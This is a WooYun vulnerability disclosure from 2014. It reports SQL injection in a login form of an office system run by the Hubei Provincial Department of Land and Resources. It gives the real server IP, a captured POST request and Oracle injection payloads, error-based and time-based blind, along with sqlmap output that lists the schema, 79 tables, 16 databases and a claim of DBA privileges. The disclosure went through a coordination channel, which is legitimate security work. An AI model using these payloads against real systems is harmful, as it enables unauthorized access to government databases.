当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-048677

漏洞标题:湖北省国土资源厅某办公系统SQL注入

相关厂商:湖北省国土资源厅

漏洞作者: cuger

提交时间:2014-01-12 19:41

修复时间:2014-02-26 19:42

公开时间:2014-02-26 19:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-12: 细节已通知厂商并且等待厂商处理中
2014-01-17: 厂商已经确认,细节仅向厂商公开
2014-01-27: 细节向核心白帽子及相关领域专家公开
2014-02-06: 细节向普通白帽子公开
2014-02-16: 细节向实习白帽子公开
2014-02-26: 细节向公众公开

简要描述:

湖北省国土资源厅某办公系统SQL注入

详细说明:

问题URL:http://119.97.204.202/ydegov/index.aspx
用户、密码和验证码随便写,burp抓包

POST /ydegov/index.aspx HTTP/1.1
Host: 119.97.204.202
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://119.97.204.202/ydegov/index.aspx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
__VIEWSTATE=%2FwEPDwUIMzIzNTUzMjNkZFZFWpB5ZvJjFSAxmiE3AWpmmBKX&txt_UserName=admin&txt_UserPwd=123&tbValidation=3245&bt_Login=

漏洞证明:

sqlmap identified the following injection points with a total of 44 HTTP(s) requests:
---
Place: POST
Parameter: txt_UserName
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: __VIEWSTATE=/wEPDwUIMzIzNTUzMjNkZFZFWpB5ZvJjFSAxmiE3AWpmmBKX&txt_UserName=admin' AND 3328=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(102)||CHR(122)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (3328=3328) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(99)||CHR(107)||CHR(101)||CHR(113)||CHR(62))) FROM DUAL) AND 'ZMac'='ZMac&txt_UserPwd=123&tbValidation=3245&bt_Login=
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: __VIEWSTATE=/wEPDwUIMzIzNTUzMjNkZFZFWpB5ZvJjFSAxmiE3AWpmmBKX&txt_UserName=admin' AND 8031=DBMS_PIPE.RECEIVE_MESSAGE(CHR(73)||CHR(103)||CHR(73)||CHR(74),5) AND 'wdsp'='wdsp&txt_UserPwd=123&tbValidation=3245&bt_Login=
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: txt_UserName
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: __VIEWSTATE=/wEPDwUIMzIzNTUzMjNkZFZFWpB5ZvJjFSAxmiE3AWpmmBKX&txt_UserName=admin' AND 3328=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(102)||CHR(122)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (3328=3328) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(99)||CHR(107)||CHR(101)||CHR(113)||CHR(62))) FROM DUAL) AND 'ZMac'='ZMac&txt_UserPwd=123&tbValidation=3245&bt_Login=
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: __VIEWSTATE=/wEPDwUIMzIzNTUzMjNkZFZFWpB5ZvJjFSAxmiE3AWpmmBKX&txt_UserName=admin' AND 8031=DBMS_PIPE.RECEIVE_MESSAGE(CHR(73)||CHR(103)||CHR(73)||CHR(74),5) AND 'wdsp'='wdsp&txt_UserPwd=123&tbValidation=3245&bt_Login=
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
current schema (equivalent to database on Oracle): 'HBYD'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: txt_UserName
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: __VIEWSTATE=/wEPDwUIMzIzNTUzMjNkZFZFWpB5ZvJjFSAxmiE3AWpmmBKX&txt_UserName=admin' AND 3328=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(102)||CHR(122)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (3328=3328) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(99)||CHR(107)||CHR(101)||CHR(113)||CHR(62))) FROM DUAL) AND 'ZMac'='ZMac&txt_UserPwd=123&tbValidation=3245&bt_Login=
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: __VIEWSTATE=/wEPDwUIMzIzNTUzMjNkZFZFWpB5ZvJjFSAxmiE3AWpmmBKX&txt_UserName=admin' AND 8031=DBMS_PIPE.RECEIVE_MESSAGE(CHR(73)||CHR(103)||CHR(73)||CHR(74),5) AND 'wdsp'='wdsp&txt_UserPwd=123&tbValidation=3245&bt_Login=
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
Database: HBYD
[79 tables]
+----------------------+
| 勘查项目受理 |
| 探矿权转让 |
| 采矿申请登记 |
| 采矿转让登记 |
| APP_GROUPS |
| APP_MENU |
| APP_ROLE |
| APP_USER |
| APP_USERCONFIG |
| APP_USER_ROLE |
| AREACODE |
| BJLCTABLE |
| DBM_INFO |
| DBM_TYPE |
| DICT_MANAGE |
| DZ02WFYDYSGBYJ |
| DZ02WFYDYSGHYJ |
| DZ02WFYDYSHJYJ |
| DZ02WFYDYSHZYJ |
| DZ02WFYDYSLYYJ |
| DZ02WFYDYSSPCWYJ_HS |
| DZ02WFYDYSZDYJ |
| DZ02WFYDYSZHYJ |
| DZ02WFYDYSZYYJ |
| DZ02WF_YDYS_FSZYJ |
| DZ05WFYDSPCWYJ_HS |
| DZ05WFYDSPDJCYJ |
| DZ05WFYDSPGBCHS |
| DZ05WFYDSPGHCHS |
| DZ05WFYDSPLEDYJ |
| DZ05WFYDSPLYCHS |
| DZ05WFYDSPSL |
| DZ05WFYDSPZDCHS |
| DZ05WFYDSPZFJYJ |
| DZ05WFYDSPZHYJB |
| DZ05WF_YDSP_FSZYJ |
| DZ06WFTDFKCWCYJ |
| DZ06WFTDFKDJCYJB |
| DZ06WFTDFKGBCSCB |
| DZ06WFTDFKGBCYJ |
| DZ06WFTDFKGHCYJ |
| DZ06WFTDFKGHSJ |
| DZ06WFTDFKQTYJB |
| DZ06WFTDFKZHYJB |
| EVENTLOG |
| EVENTLOGTYPE |
| FWDBX |
| FWDBX_BZ |
| FWFH |
| FWHQ |
| FWNEWDBX |
| FWNG |
| FWSH |
| FWTZHQ |
| FWZGTZ |
| GONGWENFJB |
| GWDICT |
| GWFW |
| GWSW |
| JSYD_MONEY |
| K_CASENO |
| K_SPB |
| K_S_HSB |
| K_S_JDB |
| K_S_SZB |
| K_S_YCB |
| K_TK_HS |
| MOBILEDKMAP |
| MOBILEOFFICETBL |
| MOBILE_SMS |
| RARBLOB |
| VFDMNGFLDS |
| VFDMNGTBLS |
| WORKFLOWHSB |
| ZSWFPAGEANDEVENTCODE |
| ZSWFRECEIVEDOCFORM |
| ZSWF_TDZL_AJZT |
| ZSWF_YDSP_AJZT |
| ZSWF_YJ |
+----------------------+


一共79个表,16个数据库

available databases [16]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HBYD
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB


DBA权限啊。。。。

1.jpg

修复方案:

找开发修复吧

版权声明:转载请注明来源 cuger@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-01-17 08:34

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-01-14 11:19 | cuger ( 普通白帽子 | Rank:200 漏洞数:44 | 这个家伙很懒,什么也没留下)

    昨天发现下线了,这是什么节奏。。。。